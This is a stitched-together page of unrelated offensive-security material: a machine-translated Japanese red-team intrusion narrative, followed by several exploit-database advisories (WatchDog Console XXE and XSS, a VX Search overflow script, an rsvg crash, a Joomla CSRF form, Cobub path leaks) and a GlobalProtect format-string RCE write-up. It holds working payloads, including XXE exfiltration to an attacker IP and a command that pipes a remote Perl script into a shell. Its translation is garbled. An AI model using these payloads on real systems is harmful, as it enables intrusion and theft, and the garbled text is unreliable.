（子会社B）では、（ターゲットシステムX）が（子会社C）でホストされていることがわかりました（子会社C）、（子会社C）は運用とメンテナンスのみを担当し、7人の従業員が（副システムX）とビジネス取引をしています（子会社B）。 7人の従業員はほとんどの場合（子会社c）で働いていますが、オフィスコンピューター資産は（子会社b）に属し、（子会社b）に参加し、オフィスコンピューターはしばしば持ち帰られます（子会社b）。

収集されたインテリジェンス情報によると、Xiao Hチームは（子会社B）の従業員7人を使用して、ドメインアクセス許可を使用して、（子会社B）イントラネットにアクセスしたときにコンピューターにトロイの木馬バックドアを植えるためのエントリポイントを使用しています。 （子会社C）イントラネットに接続されている場合、従業員コンピューターを介してイントラネットの浸透を実装し、（子会社C）ドメイン制御権限を取得し続けます。ログ分析によれば、（ターゲットシステムx）管理者コンピューターがロックされ、（ターゲットシステムx）管理者ログインアカウントが取得され、最後に（ターゲットシステムx）制御許可が取得されます。

4。手をつないで - スタッドの制御を実装

REDチームは、侵入テストなどのワークフローまたは脆弱性テストマニュアルに基づいて仕様に従ってタスクを完了することはありません。レッドチームの仕事は、常にランダムで、挑戦的で対立的です。作業プロセス中、常にさまざまな予期しない状況があります。変更に適応し、さまざまな機会を最大限に活用することによってのみ、ついに目標を突破してタスクを完了することができます。これは、Xiao Pが今回したことです。

その後、Xiao Pチームは、ターゲットエンタープライズのOAシステムの0日間の脆弱性をマイニングすることにより、Webシェル許可を取得しました。しかし、彼がしっかりと立つ前に、ブルーチームの管理者は、OAシステムに異常があることを発見し、OAシステムアプリケーションとデータベースサーバーを移行し、脆弱性を修正しました。

もともとは非常に悲しいことでしたが、Xiao Pのテストでは、青いチームがOAシステムを移行し、脆弱性を修正しましたが、すべてのWebShellバックドアスクリプトを削除しなかったことがわかりました。一部のバックドアスクリプトはまだOAプログラムで混合されており、新しいサーバーで再配置されています。攻撃チームは、以前に埋め込まれたウェブシェルに接続し、権利を正常に撤回し、サーバーの権限を取得することができます。

サーバーのアクセス許可を取得した後、Xiao Pのチームは、ブルーチームの管理者が実際に管理操作のためにOAサーバーに接続されていることを発見し、端末PCホストのすべてのディスクをOAサーバーに取り付けました。 「あなたが来てから、あなたは安心します。」 Xiao Pは、これが維持する良い機会であることを発見しました。

Xiao Pチームは、管理者の身元とリモートターミナルディスクファイルを慎重に確認し、管理者の端末ディスクに自発的なバックドアプログラムを書きました。 1日待った後、ブルーチームの管理者は実際にターミナルホストを再開し、バックドアプログラムはオンラインになりました。管理者の端末許可を取得した後、Xiao Pはすぐに、管理者が主に内部ネットワークの展開、サーバー運用、メンテナンス管理などを担当するユニットの運用およびメンテナンス担当者であることを発見しました。管理者はMyBaseツールを使用して重要なサーバー情報を暗号化および保存しました。攻撃チームは、キーボードレコーダーを介してMyBaseマスターキーを取得し、MyBaseデータファイルを復号化し、最終的にVPN、Bastion Machines、仮想化管理プラットフォームなどを含むキーシステムのアカウントとパスワードを取得しました。

最後に、Xiao Pのチームは、取得したアカウントパスワードを使用して仮想化プラットフォームにログインし、エクササイズターゲットシステムの仮想ホストを見つけ、取得した管理者の権限を正常にしました。この時点で、作業は正式に完了しました！

5。密かにチェンキャンズを横切る - 迂回浸潤でブレークスルーを作る

明確な重要な目標を備えた実際の攻撃的および防御的な演習で、ブルーチームは通常、戦いを警備し、警告し、常に外部ネットワークからのすべてのトラフィックに目を向けています。あなたが攻撃するかどうかにかかわらず、彼らは常にそこに固執します。疑わしいIPSが見つかった場合、すぐにセクションでブロックし、チャンスを離れません。現時点では、前から戦うことは明らかに費用対効果が高くありません。レッドチームは通常、密かにチェンキャンズを追跡する方法を使用して、ブルーチームの防御ラインをバイパスし、防衛なしで他の場所からラウンドアバウト攻撃を開始します。 Xiao Mは今回そのような硬い骨に遭遇しました。

攻撃のターゲットを決定した後、Xiao Mチームはドメイン名、IPセグメント、ポート、ビジネス、およびターゲット企業のその他の情報を収集し、脆弱性の可能性に対する攻撃の試みを実施しました。ほとんどのターゲットが閉鎖されているか、高強度保護装置を使用していることが判明しました。 0日と時間が限られていないため、Xiao Mは前向きなブレークスルーを放棄し、秘密戦略を採用することにしました。

Tianyan Check Webサイトを通じて、Xiao Mは、会社全体の子会社と関連ビジネスの配布について学びました。ターゲットビジネスは、香港、台湾、韓国、フランス、その他の場所をカバーしています。その中で、香港には比較的多くのビジネスがあり、データを互いに送信してコラボレーションで機能するイントラネットがある可能性が非常に高いため、香港から入り口として選択することにしました。

香港事業で一連の偵察とスパイの後、Xiao Mのチームは、ターゲット企業の香港ホテルビジネスウェブサイトにSA許可インジェクションポイントを見つけ、バックエンドにログインし、あらゆるファイルで正常にアップロードしました。データベースSA Formessionsを介してデータベースサーバーシステムのアクセス許可を取得し、データベースサーバーがドメインにあり、ドメインマネージャーがログイン状態にあることを確認します。サーバーにSymantecが装備されているため、証明書が追加され、ドメインハッシュとドメイン構造が正常にバイパスされ、ドメインがキャプチャされます。

国内ドメインのマシンは輸出ドメイン構造で発見されたため、Xiao Mチームは香港ドメインからターゲットが位置する国内ドメインに水平浸透を実行しようとし始めました。国内ドメインのIPセグメントでサーバーを見つけて、当局を提起した後、このサーバーのパスワードをつかみます。キャプチャされたパスワードを使用して、他のサーバーにログインし、ウイルス対策サーバーへのログインに正常にログインし、ウイルス対策サーバー上の国内ドメインのドメイン管理パスワードを正常にキャプチャします。ドメイン管理アカウントを使用して、要塞マシン、運用およびメンテナンス管理、VPNなどの複数の重要なシステムを正常に制御します。

大量の情報収集により、Xiao Mのチームは最終的に侵入ターゲットのIPアドレスを取得し、初期段階で収集されたアカウントパスワードを使用してターゲットシステムに正常にログインし、ファイルアップロード脆弱性を使用してサーバー許可を取得しました。

この時点で、浸透作業全体が終了しました。

0x 05赤チームの目の防御的な弱点

政府、中央企業、銀行、証券による

HireHackking 
# Exploit Author: bzyo
# CVE: CVE-2018-10077, CVE-2018-10078, CVE-2018-10079
# Twitter: @bzyo_
# Exploit Title: Geist WatchDog Console 3.2.2 -  Multiple Vulnerabilities
# Date: 04-17-18
# Vulnerable Software: WatchDog Console - 3.2.2
# Vendor Homepage: http://www.itwatchdogs.com/
# Version: 3.2.2
# Software Link: http://www.itwatchdogs.com/userfiles/file/firmware/Console/WatchDogConsoleInstaller_v3.2.2.exe
# Tested On: Windows 7 x86
 
Description
-----------------------------------------------------------------
WatchDog Console suffers from multiple vulnerabilities:

# CVE-2018-10077 Authenticated XML External Entity (XXE)
# CVE-2018-10078 Authenticated Stored Cross Site Scripting (XSS)
# CVE-2018-10079 Insecure File Permissions

Prerequisites
-----------------------------------------------------------------
To successfully exploit these vulnerabilities, an attacker must already have access 
to a system running WatchDog Console using a low-privileged user account

Proof of Concepts
-----------------------------------------------------------------
### CVE-2018-10079 Insecure File Permissions ###
By default, WatchDog Console 3.2.2 installs all configuration data at 'C:\ProgramData\WatchDog Console' and 
gives 'Authenticated Users' group Modify permissions
 
C:\>icacls "c:\ProgramData\WatchDog Console"
c:\ProgramData\WatchDog Console NT AUTHORITY\Authenticated Users:(OI)(CI)(M,DC)

This allows any local user of the system the ability to reset the application admin password by generating 
a password using the PHP md5() function and updating the config.xml file.  It also provides the ability to 
add data to servers.xml for both CVE-2018-10078 and CVE-2018-10079 or through the application interface

### CVE-2018-10077 Authenticated XML External Entity (XXE) ###
With authenticated admin access to the application or local access to the system, a user has the ability to read 
system files remotely through XXE

On attacking machine
- Create data.xml with following contents in apache root and start apache listening on 80
	<?xml version="1.0" encoding="utf-8"?>
	<!DOCTYPE r [
	<!ELEMENT r ANY >
	<!ENTITY % sp SYSTEM "http://192.168.0.149:8080/evil.xml">
	%sp;
	%param1;
	]>
	<r>&exfil;</r>

- Create evil.xml with the following contents anywhere
	<?xml version="1.0" encoding="UTF-8"?>
	<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
	<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://192.168.0.149:8080/?%data;'>">
	
- Start python simple http server in same directory as evil.xml, listening on 8080
	python -m SimpleHTTPServer 8080
	
On victim machine (1 of 2 ways)
1. With admin access to application console, add attacking server IP address under servers tab
or
2. With local access to system
	- update 'C:\ProgramData\WatchDog Console\servers.xml file' with following:
		<?xml version="1.0" encoding="utf-8" standalone="yes"?>
		<servers>
		<server host="192.168.0.149" addrType="http" port="80" description="" selEmail="True" Username="1" Password="1" left="700" top="420" />
		</servers>
	- restart system

On attacking machine
- Contents of 'win.ini' is outputted to console
- evil.xml can be updated to read other sensitive files (tested reading file from admin desktop)

### CVE-2018-10078 Authenticated Stored Cross Site Scripting (XSS) ###
This application suffers from authenticated XSS on several inputs (1 of 2 ways)
1. With admin access to application console, under servers tab
	- add dummy IP in server name filed
	- add <script>alert(document.cookie)</script>"> into server description
or	
2. With local access to system
	- update 'C:\ProgramData\WatchDog Console\servers.xml file' with following:
		<?xml version="1.0" encoding="utf-8" standalone="yes"?>
		<servers>
		<server host="172.16.1.1" addrType="http" port="80" description="<script>alert(document.cookie)</script>">" selEmail="True" Username="1" Password="1" left="400" top="180" />
		</servers>
	- restart system

3. popup with cookie appears when browsing from Overview, Dashboard, and Server tabs.  Remains after reboot.

Timeline
---------------------------------------------------------------------
04-14-18: Vendor notified of vulnerabilities
04-16-18: Vendor responded "Thank you for bringing this to our attention. The product has now been End-of-life for 
several years and is no longer receiving updates."
04-17-18: Submitted public disclosure
HireHackking 
#!/usr/bin/python
# Title: VX Search 10.6.18 Local Buffer Overflow
# Author: Kevin McGuigan
# Twitter: @_h3xagram
# Author Website: https://www.7elements.co.uk
# Vendor Website: http://www.vxsearch.com
# Version: 10.6.18
# Date: 18/04/2018
# Tested on: Windows 7 32-bit
# Vendor did not respond to advisory. 

# Copy the contents of vxsearchpoc.txt, click the Server icon and paste into the directory field. 

filename="vxsearchPOC.txt"
junk = "A"*271
#0x652c2a1a : "jmp esp" | asciiprint,ascii {PAGE_READONLY}[QtGui4.dll] ASLR: False, Rebase: False, SafeSEH: False, OS:False, v4.3.4.0 (C:\Program Files\VX SearchServer\bin\QtGui4.dll)
#eip="\x1a\x2a\x2c\x65"
eip = "B" * 4
fill = "C" *900
buffer = junk + eip + fill
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
HireHackking 
# Exploit Title: Buffer-overflow in RSVG while converting a malformed svg
# Date: 17 April 2018
# Exploit Author: Hamm3r.py
# Vendor Homepage: *https://launchpad.net/ubuntu/xenial/+package/librsvg2-bin
# Software Link: *https://launchpad.net/ubuntu/xenial/+package/librsvg2-bin
# Version: Ubuntu: 2.40.13 (Default version that is shipped with ubuntu) and MAC 2.42.2
# Tested on: Ubuntu 16.04 and MAC 10.13.3


RSVG throws a segmentation fault when malformed SVG is submitted as input.

Steps to reproduce:
rsvg test.png


GDB Stacktrace below:
Starting program: /usr/bin/rsvg fuzzed_fdiA0xdf5OQPYsN hello.png
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
_fill_xrgb32_lerp_opaque_spans (abstract_renderer=0x7fffffffbea0, y=18219,
h=1, spans=<optimized out>,
num_spans=<optimized out>) at
../../../../src/cairo-image-compositor.c:2249
2249 ../../../../src/cairo-image-compositor.c: No such file or directory.
(gdb) backtrace
#0 0x00007ffff6fd35c0 in _fill_xrgb32_lerp_opaque_spans
(abstract_renderer=0x7fffffffbea0, y=18219, h=1, spans=<optimized out>,
num_spans=<optimized out>) at ../../../../src/cairo-image-compositor.c:2249
#1 0x00007ffff7017921 in _cairo_tor_scan_converter_generate (xmax=248,
xmin=192, height=1, y=18219, spans=0x63e438, renderer=0x7fffffffbea0,
cells=<optimized out>)
at ../../../../src/cairo-tor-scan-converter.c:1643
#2 0x00007ffff7017921 in _cairo_tor_scan_converter_generate
(renderer=0x7fffffffbea0, antialias=1, winding_mask=<optimized out>,
converter=<optimized out>) at
../../../../src/cairo-tor-scan-converter.c:1794
#3 0x00007ffff7017921 in _cairo_tor_scan_converter_generate
(converter=0x63d3b0, renderer=0x7fffffffbea0)
at ../../../../src/cairo-tor-scan-converter.c:1857
#4 0x00007ffff7009c33 in composite_polygon
(extents=extents@entry=0x7fffffffd780,
polygon=polygon@entry=0x7fffffffd360,
fill_rule=fill_rule@entry=CAIRO_FILL_RULE_WINDING,
antialias=antialias@entry=CAIRO_ANTIALIAS_DEFAULT,
compositor=0x7ffff72b2040 <spans>, compositor=0x7ffff72b2040 <spans>)
at ../../../../src/cairo-spans-compositor.c:801
#5 0x00007ffff700a6a5 in clip_and_composite_polygon
(compositor=compositor@entry=0x7ffff72b2040 <spans>,
extents=extents@entry=0x7fffffffd780,
polygon=polygon@entry=0x7fffffffd360, fill_rule=CAIRO_FILL_RULE_WINDING,
antialias=antialias@entry=CAIRO_ANTIALIAS_DEFAULT) at
../../../../src/cairo-spans-compositor.c:967
#6 0x00007ffff700b5d3 in _cairo_spans_compositor_fill
(_compositor=0x7ffff72b2040 <spans>, extents=0x7fffffffd780,
path=<optimized out>, fill_rule=CAIRO_FILL_RULE_WINDING,
tolerance=0.10000000000000001, antialias=CAIRO_ANTIALIAS_DEFAULT) at
../../../../src/cairo-spans-compositor.c:1174
#7 0x00007ffff6fc5a90 in _cairo_compositor_fill (compositor=0x7ffff72b2040
<spans>, surface=0x6399a0, op=<optimized out>, source=<optimized out>,
path=0x639768, fill_rule=CAIRO_FILL_RULE_WINDING,
tolerance=0.10000000000000001, antialias=CAIRO_ANTIALIAS_DEFAULT, clip=0x0)
at ../../../../src/cairo-compositor.c:203
#8 0x00007ffff6fd7127 in _cairo_image_surface_fill
(abstract_surface=<optimized out>, op=<optimized out>, source=<optimized
out>, path=<optimized out>, fill_rule=<optimized out>, tolerance=<optimized
out>, antialias=<optimized out>, clip=0x0) at
../../../../src/cairo-image-surface.c:985
#9 0x00007ffff700e7d7 in _cairo_surface_fill (surface=0x6399a0,
op=CAIRO_OPERATOR_OVER, source=0x7fffffffdb50, path=0x639768,
fill_rule=CAIRO_FILL_RULE_WINDING, tolerance=0.10000000000000001,
antialias=CAIRO_ANTIALIAS_DEFAULT, clip=0x0) at
../../../../src/cairo-surface.c:2341
#10 0x00007ffff6fce14c in _cairo_gstate_fill (gstate=0x630c00,
path=path@entry=0x639768)
at ../../../../src/cairo-gstate.c:1317
#11 0x00007ffff6fc7279 in _cairo_default_context_fill (abstract_cr=0x639400)
at ../../../../src/cairo-default-context.c:1055
#12 0x00007ffff6fc02b5 in cairo_fill (cr=0x639400) at
../../../../src/cairo.c:2205
#13 0x00007ffff7bc9e95 in () at /usr/lib/x86_64-linux-gnu/librsvg-2.so.2
#14 0x00007ffff7bc6272 in () at /usr/lib/x86_64-linux-gnu/librsvg-2.so.2
#15 0x00007ffff7bbd4c0 in () at /usr/lib/x86_64-linux-gnu/librsvg-2.so.2
#16 0x00007ffff7bbd4c0 in () at /usr/lib/x86_64-linux-gnu/librsvg-2.so.2
#17 0x00007ffff7bbd982 in () at /usr/lib/x86_64-linux-gnu/librsvg-2.so.2
#18 0x00007ffff7bbe298 in () at /usr/lib/x86_64-linux-gnu/librsvg-2.so.2
#19 0x00007ffff7bca9e3 in rsvg_handle_render_cairo_sub () at
/usr/lib/x86_64-linux-gnu/librsvg-2.so.2


Version:
$rsvg-convert --version
rsvg-convert version 2.42.2

#This issue is identified by Hamm3r.py, a general purpose fuzzer!


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44491.zip
HireHackking 
#######################################
# Exploit Title: Joomla! Component Js Jobs - Multiple Cross Site Request Forgery Vulnerabilities
# Google Dork: N/A
# Date: 17-04-2018
#######################################
# Exploit Author: Sureshbabu Narvaneni#
#######################################
# Author Blog : http://nullnews.in
# Vendor Homepage: https://www.joomsky.com
# Software Link: https://extensions.joomla.org/extension/js-jobs/
# Affected Version: 1.2.0
# Category: WebApps
# Tested on: Win7 Enterprise x86/Kali Linux 4.12 i686
# CVE : NA
#######################################

1. Vendor Description:

JS Jobs for any business, industry body or staffing company wishing to
establish a presence on the internet. JS Jobs allows you to run your own,
unique jobs classifieds service where you or employer can advertise their
jobs and job seekers can upload their Resumes.

2. Technical Description:

The state changing actions in JS Jobs before 1.2.1 not having any random
token validation which results in Cross Site Request Forgery Vulnerability.

3. Proof of Concept:

Delete Job Entry [Super Admin Access]

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://[URL]/joomla/administrator/index.php"
method="POST">
      <input type="hidden" name="js&#95;sortby" value="0" />
      <input type="hidden" name="companyname" value="" />
      <input type="hidden" name="jobtitle" value="" />
      <input type="hidden" name="location" value="" />
      <input type="hidden" name="jobcategory" value="" />
      <input type="hidden" name="jobtype" value="" />
      <input type="hidden" name="datefrom" value="" />
      <input type="hidden" name="dateto" value="" />
      <input type="hidden" name="status" value="" />
      <input type="hidden" name="cid&#91;&#93;" value="[Job ID]" />
      <input type="hidden" name="limit" value="20" />
      <input type="hidden" name="limitstart" value="0" />
      <input type="hidden" name="option" value="com&#95;jsjobs" />
      <input type="hidden" name="task" value="job&#46;jobenforcedelete" />
      <input type="hidden" name="c" value="job" />
      <input type="hidden" name="view" value="job" />
      <input type="hidden" name="layout" value="jobs" />
      <input type="hidden" name="callfrom" value="jobs" />
      <input type="hidden" name="boxchecked" value="1" />
      <input type="hidden" name="sortby" value="asc" />
      <input type="hidden" name="my&#95;click" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

4. Solution:

Update to latest version

https://extensions.joomla.org/extension/js-jobs/
HireHackking

0x00はじめに

SSL VPNはインターネット攻撃のリスクからエンタープライズ資産を保護できますが、SSL VPN自体が攻撃に対して脆弱である場合はどうなりますか？それらはインターネットにさらされており、イントラネットに確実に安全に接続できます。 SSL VPNサーバーが侵害されると、攻撃者はイントラネットに侵入し、SSL-VPNサーバーに接続されたすべてのユーザーを引き継ぐことさえできます！その重要性のため、過去数か月にわたって、安全な主要なSSL VPN製品に関するセキュリティ調査を開始しました。

結果を3つの記事に公開する予定です。私たちはこの記事を最初の記事とみなします。なぜなら、それは興味深い話だと思うので、Black Hat USANDDEFCONに最適だと思うからです。

NSAのような侵入エンタープライズイントラネット - 安全な主要なSSL VPNでRCEを実行する

ネタバレについて心配しないでください。この物語はBhusa/defconセッションに含まれていません。

今後のデモでは、より多くのコアエクスプロイトとクレイジーなバグチェーンを提供して、SSL VPNをハックします。デバイスと焦点を当てる攻撃ベクトルの脱却方法から。また、露出した唯一のHTTPSポートからルートシェルを取得し、サーバーを所有者に対して密かに武器化し、すべてのVPNクライアントを引き継ぐために隠された機能を悪用します。それを楽しみにしています;）

0x01ストーリーの始まり

この記事では、Palo Alto SSL VPNの脆弱性について説明します。 Palo Altoは、SSL VPN Product GlobalProtectを呼び出します。 302 Redirect to /global-protect/login.esp Web Root Directoryを使用して、GlobalPortectサービスを簡単に識別できます。

この脆弱性に関して、私たちはRedチーム評価サービス中に誤って発見しました。最初は、0日だと思いました。ただし、GlobalProtectの最新バージョンのリモートサーバーでは、繁殖が失敗しました。それで、私たちはこれが既知の脆弱性であるかどうか疑問に思い始めました。

インターネットで検索しましたが、それに関する情報は見つかりませんでした。 [1]以前は、公的なRCEの悪用はなく、公式の協議に同様の情報も含まれておらず、CVEも含まれていませんでした。

CVE-2017-15944および@U Fel1xによる優れたTroppers16論文など、以前のPAN-OS管理インターフェイスにはいくつかの脆弱性がありましたが、残念ながら、GlobalProtectとManagement InterfaceはLANポートのみを公開したことに言及していませんでした。

0x02バグ

このバグは非常に簡単です。これは、認証なしの単純な形式の文字列の脆弱性です！ SSLMGRは、サーバーとクライアントの間のSSLハンドシェイクを処理するSSLゲートウェイです。デーモンはnginx逆プロキシによってプロキシ化されており、Path /sslmgrを介してアクセスできます。

$ curl https://global-protect/sslmgr

？xmlバージョン='1.0'エンコード='utf-8'？

ClientCert-Response

StatusError/ステータス

msginvalidパラメーター/msg

/clientCert-Response

パラメーター抽出中、デーモンは文字列scep-profile-nameを検索し、バッファーを埋めるためにSnprintf形式としてその値を渡します。これにより、フォーマット文字列が攻撃されます。 ％nを使用できます！サービスをクラッシュさせる！

POST /SSLMGR HTTP /1.1

HOST: Global-Protect

Content-Length: 36

scep-profile-name=％n％n％n％n％n％n％n .

0x03影響バージョン

私たちの調査によると、2018年7月までにGlobalProtectは非常に脆弱です！以下は、インパクトバージョン:のリストです

Palo Alto GlobalProtect SSL VPN 7.1.x 7.1.19

Palo Alto GlobalProtect SSL VPN 8.0.x 8.0.12

Palo Alto GlobalProtect SSL VPN 8.1.x 8.1.3

9.xおよび7.0.xシリーズは、この脆弱性の影響を受けません。

0x04バグを確認する方法

バグがどこにあるかはわかっていますが、脆弱性を検証するのはまだ容易ではありません。このフォーマット文字列には出力がないため、バグを検証するために漏れたアドレスを取得することはできません。クラッシュサービスは決して私たちの最初の選択ではありません[1]。サービスのクラッシュを避けるために、システムの通常の動作に影響を与えることなく脆弱性を検証する方法を見つける必要があります！

SNPRINTFマニュアルを読むことで、ガジェットとして％Cを選択しました！ ％99999999Cなどのフォーマット前に数がある場合、SNPRINTFは対応する時間を内部で繰り返し要求します。この脆弱性を確認するために、多数の繰り返しの応答時間を観察します！

$ time curl -s -d 'scep-profile-name=％9999999c' https://global-protect/sslmgr/dev/null

REAL 0M1.721S

ユーザー0M0.037S

SYS 0M0.005S

$ time curl -s -d 'scep-profile-name=％99999999c' https://Global-protect/sslmgr/dev/null

REAL 0M2.051S

ユーザー0M0.035S

SYS 0M0.012S

$ time curl -s -d 'scep-profile-name=％9999999999c' https://global-protect/sslmgr/dev/null

REAL 0M5.324S

ユーザー0M0.021S

SYS 0M0.018S

ご覧のとおり、％cの数とともに応答時間が増加します。したがって、時差から、脆弱なSSL-VPNを正確に識別できます！

SSLMGRデーモンを監視する監視プログラムがありますが、クラッシュサービスにはまだ適していません！

0x05利用

バグを確認することができたら、簡単に活用できます。バイナリファイルを正常に利用するには、最初に詳細なバージョンを決定する必要があります。バージョン8.xおよび/images/logo_pan_158.gif forバージョン7.xおよび/images/logo_pan_158.gifのバージョン8.xおよび/images/logo_pan_158.gifなど、/global protect/css/login.cssなど、ラスト修飾ヘッダーで区別できます。

$ CURL -S -I https://SSLVPN/GLOBAL -PROTECT/PORTAL/CSS/LOGIN.CSS |グレップラスト修飾

LAST-MODIFIED: SUN、2017年9月10日16:48:23 GMT

指定されたバージョンを使用して、独自の脆弱性を書くことができます。 Strlenのポインターを、システムのプログラムリンクテーブル（PLT）にグローバルオフセットテーブル（GOT）に変更するだけです。これがそのPOCです：

＃！/usr/bin/python

リクエストをインポートします

PWNインポートから *

url='https://sslvpn/sslmgr'

cmd='echo pwned /var/appweb/sslvpndocs/hacked.txt'

strlen_got=0x667788＃私を変更します

System_plt=0x445566＃私を変更します

fmt='％70 $ n'

fmt +='％' + str（（system_plt16）0xff） + 'c'

fmt +='％32 $ hn'

fmt +='％' + str（（system_plt0xffff） - （（system_plt16）0xff） + 'c'

fmt +='％24 $ hn'

範囲のI（40,60）:

fmt+='％'+str（i）+'$ p'

data='scep-profile-name='

データ +=P32（strlen_got）[:-1]

data +='appauthcookie='

データ +=P32（strlen_got +2）[:-1]

data +='host-id='

データ +=P32（strlen_got +4）[:-1]

data +='user-email='

データ +=fmt

data +='appauthcookie='

データ +=cmd

r=requests.post（url、data=data）

変更が完了すると、SSLMGRがWebShellになります。次の方法でコマンドを実行できます。

$ curl -d 'scep-profile-name=curl orange.tw/bc.pl | Perl- 'https://Global -protect/sslmgr

このバグをパロアルトヴィアに報告しました。ただし、次の回答が得られました。

こんにちはオレンジ、

提出してくれてありがとう。 Palo Alto Networksは、外部の研究者によって私たちに報告されているセキュリティの脆弱性の調整された脆弱性の開示に従います。内部的および修正されたアイテムはありません。この問題は以前に修正されていましたが、現在のバージョンで何かを見つけた場合は、お知らせください。

0x06ケーススタディ

これが0日ではないことに気付いた後、世界中のすべてのパロアルトSSL VPNを見て、脆弱なグローバルプロテクトを使用している大企業があるかどうかを確認しました。調査によると、Uberは世界中でGlobalProtectを実行している約22のサーバーを持っています。ここでは、vpn.awscorp.uberinternal.comを例として取ります！

ドメイン名から判断すると、UberはAWS MarketplaceのBYOLを使用していると思います。ログインページから判断すると、Uberは8.xバージョンを使用しているようで、概要ページでサポートされているバージョンのリストから可能なターゲットバージョンを見つけることができます。

8.0.3

8.0.6

8.0.8

8.0.9

8.1.0

最後に、バージョンを見つけました。それは8.0.6で、シェルを手に入れました！

ippuukbcmwp7990.png

:https://devco.re/blog/2019/07/17/attacking-ssl-vpn-part-1-part-1-on-on-palo-alto-alto-globalprotect-with-uber-as-case-study/

HireHackking 
# Exploit Title:  Cobub Razor 0.8.0 Physical path Leakage Vulnerability
# Date: 2018-04-19
# Exploit Author: Kyhvedn
# Vendor Homepage: http://www.cobub.com/
# Software Link: https://github.com/cobub/razor
# Version: 0.8.0
# CVE : CVE-2018-8770

#PoC:

URL: http://localhost/export.php
HTTP Method: GET
URL: http://localhost/index.php?/manage/channel/addchannel
HTTP Method: POST
Data: channel_name=test"&platform=1

HTTP Method: GET
http://localhost/tests/generate.php
http://localhost/tests/controllers/getConfigTest.php
http://localhost/tests/controllers/getUpdateTest.php
http://localhost/tests/controllers/postclientdataTest.php
http://localhost/tests/controllers/posterrorTest.php
http://localhost/tests/controllers/posteventTest.php
http://localhost/tests/controllers/posttagTest.php
http://localhost/tests/controllers/postusinglogTest.php
http://localhost/tests/fixtures/Controller_fixt.php
http://localhost/tests/fixtures/Controller_fixt2.php
http://localhost/tests/fixtures/view_fixt2.php
http://localhost/tests/libs/ipTest.php
http://localhost/tests/models/commonDbfix.php